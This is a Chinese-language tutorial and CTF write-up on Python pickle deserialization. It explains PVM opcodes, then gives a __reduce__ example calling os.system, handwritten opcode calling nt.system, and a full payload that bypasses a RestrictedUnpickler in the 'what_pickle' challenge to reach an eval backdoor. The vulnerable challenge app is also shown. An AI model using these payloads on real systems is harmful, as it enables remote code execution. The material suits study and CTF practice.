pickle简介 pickle
和cpickle
都用于对象的序列化和反序列化,作用和PHP的serialize与unserialize
一样,两者只是实现的语言不同,一个是纯Python实现、另一个是C实现,函数调用基本相同,但cPickle库的性能更好。
pickle是一门栈语言,基于一个轻量的 PVM(Pickle Virtual Machine)。而PVM则主要包含指令处理器
、stack
和memo
。
指令处理器:处理OPcode和参数,对其进行解析。最后留在栈顶的值将作为反序列化对象返回。
stack:用来临时存储数据,参数和对象,由python的list实现,可理解为计算机的内存
memo:为PVM整个生命周期提供存储,由python的dict实现,可理解为计算机的硬盘存储
pickle序列化与反序列化常用函数
函数
说明
dumps
对象反序列化为bytes对象
dump
对象反序列化到文件对象,存入文件
loads
从bytes对象反序列化
load
对象反序列化,从文件中读取数据
dumps(object)
dump(object,file)
,这里的file要用wb
打开
loads(string)
,序列化后的字符串
load(file)
,file使用rb
打开
dump的文件一般用pkl
后缀保存表示pickle序列化后的内容
例子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import pickleimport osclass Test1 (object ): def __init__ (self,a,b ): self.a=a self.b=b if __name__=="__main__" : test = Test1("admin" ,"pass" ) fp1 = open("Test_class.pkl" ,"wb" ) pickle.dump(test,fp1) fp1.close()
__reduce__反序列化 __reduce__
与PHP的__desurcuct()
函数一样用于反序列化
区别:__reduce__
在生成序列化字符串时起作用,并且保存调用的方法,而且在反序列化时会自动import需要使用的模块
传参情况如下
例子:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import pickleimport osclass Test1 (object ): def __reduce__ (self ): return (os.system,("whoami" ,)) if __name__=="__main__" : test = Test1() fp1 = open("Test_class.pkl" ,"wb" ) pickle.dump(test,fp1) fp1.close() print(pickle.dumps(test)) fp2 = open("Test_class.pkl" ,"rb" ) print(pickle.load(fp2))
指令集 当前用于 pickle 的协议共有 5 种。使用的协议版本越高,读取生成的 pickle 所需的 Python 版本就要越新。
v0 版协议是原始的 “人类可读” 协议,并且向后兼容早期版本的 Python。
v1 版协议是较早的二进制格式,它也与早期版本的 Python 兼容。
v2 版协议是在 Python 2.3 中引入的。它为存储 new-style class 提供了更高效的机制。欲了解有关第 2 版协议带来的改进,请参阅 PEP 307 。
v3 版协议添加于 Python 3.0。它具有对 bytes 对象的显式支持,且无法被 Python 2.x 打开。这是目前默认使用的协议,也是在要求与其他 Python 3 版本兼容时的推荐协议。
v4 版协议添加于 Python 3.4。它支持存储非常大的对象,能存储更多种类的对象,还包括一些针对数据格式的优化。有关第 4 版协议带来改进的信息,请参阅 PEP 3154 。
我们手写的opcode是用python2执行的,即v0,加上dump
或者dumps
的时候protocol=0参数就好了
1 2 pickle.dump(object,file,protocol=0 ) pickle.dumps(object,protocol=0 )
操作码可以从pickle的源码中获取
列出常用的几个
c
:引入模块和对象,模块名和对象名以换行符分割。
(
:压入一个标志到栈中,表示元组的开始位置
t
:从栈顶开始,找到最上面的一个(
,并将(
到t
中间的内容全部弹出,组成一个元组,再把这个元组压入栈中
R
:从栈顶弹出一个可执行对象和一个元组,元组作为函数的参数列表执行,并将返回值压入栈上
p
:将栈顶的元素存储到memo中,p后面跟一个数字,就是表示这个元素在memo中的索引
V
、S
:向栈顶压入一个(unicode)字符串
.
:表示整个程序结束
因此下面这段代码的解释如下
1 2 3 4 5 6 7 8 c GOLBAL nt #使用self.findclass(modname,name)引入nt模块 system #引入nt模块下的system对象 p PUT 0 #将栈顶的元素即刚刚引入的nt.system放进memo的0位置 (V Mark&UNICODE whoami #将元组开始表示放进栈顶,并放入unicode字符串whoami p PUT 1 #将栈顶元素,也就是whoami放进memo的1位置 tp TUPLE&PUT 2 #将栈顶的元素弹出,变成元组形式压回栈中,将栈顶元素(元组)放进memo的2位置 Rp REDUCE&PUT 3 #从栈顶弹回可执行对象(nt.system)和元组((whoami))执行,将结果压回栈顶,将结果放入memo的3位置 . STOP #程序执行结束
由此可以看出压入memo的操作不影响程序运行,因此上面代码可简化为
RestrictedUnpickler类用于过滤反序列化的类
用法:
1 if module == "builtins" and name in safe_builtins
这条语句就限定了当模块名为builtins,对象名在白名单中的时候才能调用,也就意味着c
后面的字符串和下一行的字符串要符合条件才能引入
2021年巅峰极客的what_pickle
app.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 from flask import Flask, request, session, render_template, url_for,redirectimport pickleimport ioimport sysimport base64import randomimport subprocessfrom ctypes import cdllfrom config import SECRET_KEY, notadmin,usercdll.LoadLibrary("./readflag.so" ) app = Flask(__name__) app.config.update(dict( SECRET_KEY=SECRET_KEY, )) class RestrictedUnpickler (pickle.Unpickler ): def find_class (self, module, name ): if module in ['config' ] and "__" not in name: return getattr(sys.modules[module], name) raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name)) def restricted_loads (s ): """Helper function analogous to pickle.loads().""" return RestrictedUnpickler(io.BytesIO(s)).load() @app.route('/') @app.route('/index') def index (): if session.get('username' , None ): return redirect(url_for('home' )) else : return render_template('index.html' ) @app.route('/login', methods=["POST"]) def login (): name = request.form.get('username' , '' ) data = request.form.get('data' , 'test' ) User = user(name,data) session["info" ]=base64.b64encode(pickle.dumps(User)) return redirect(url_for('home' )) @app.route('/home') def home (): info = session["info" ] User = restricted_loads(base64.b64decode(info)) Jpg_id = random.randint(1 ,5 ) return render_template('home.html' ,id = str(Jpg_id), info = User.data) @app.route('/images') def images (): command=["wget" ] argv=request.args.getlist('argv' ) true_argv=[x if x.startswith("-" ) else '--' +x for x in argv] image=request.args['image' ] command.extend(true_argv) command.extend(["-q" ,"-O" ,"-" ]) command.append("http://127.0.0.1:8080/" +image) image_data = subprocess.run(command,stdout=subprocess.PIPE,stderr=subprocess.PIPE) return image_data.stdout if __name__ == '__main__' : app.run(host='0.0.0.0' , debug=True , port=80 )
config.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import pickleimport osSECRET_KEY="On_You_fffffinddddd_thi3_kkkkkkeeEEy" notadmin={"admin" :"no" } class user (): def __init__ (self, username, data ): self.username = username self.data = data def backdoor (cmd ): if isinstance(cmd,list) and notadmin["admin" ]=="yes" : s='' .join(cmd) eval(s)
app.py重点代码在:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 class RestrictedUnpickler (pickle.Unpickler ): def find_class (self, module, name ): if module in ['config' ] and "__" not in name: return getattr(sys.modules[module], name) raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name)) def restricted_loads (s ): """Helper function analogous to pickle.loads().""" return RestrictedUnpickler(io.BytesIO(s)).load() @app.route('/home') def home (): info = session["info" ] User = restricted_loads(base64.b64decode(info)) Jpg_id = random.randint(1 ,5 ) return render_template('home.html' ,id = str(Jpg_id), info = User.data)
这里的home路由会对session中的info参数进行反序列化,并且规定了只能调用config
模块,而且不能import config.__*
这种形式的对象,但是config.py的backdoor使用了backdoor作为代码执行的方法,考点就是手写pickle的opcode
限制条件:
notadmin[‘admin’]为yes
cmd为list形式
payload如下
1 2 3 4 5 6 7 8 9 cconfig #引入config.notadmin并压入栈顶 notadmin S'admin' #将Unicode字符串admin压入栈顶 S'yes' #将Unicode字符串yes压入栈顶 scconfig # 将栈顶的两个元素取出,作为字典的键值压入栈顶,引入config的backdoor方法 backdoor ((lV__import__('os').system('whoami') #第一个mark用于标志元组,第二个mark标志和l用于标志list,并生成字符串形式的payload aV #闭合列表的mark,V表示生成空字符串,否则就会添加一个换行符进入外面一层的数组 atR.#闭合元组,将栈顶到mark的元素弹出作为元素压回栈顶,取出栈顶可执行对象(backdoor)和一个元组,执行后返回结果压入栈顶,程序结束
l LIST
将栈顶到mark的元素作为列表,和(结合使用,意思是生成一个列表
a APPEND
将栈顶元素压入列表
参考链接 https://www.leavesongs.com/PENETRATION/code-breaking-2018-python-sandbox.html
https://blog.csdn.net/qq_43431158/article/details/108919605
https://www.cnblogs.com/DEADF1SH-CAT/p/12465346.html#%E7%AE%80%E4%BB%8B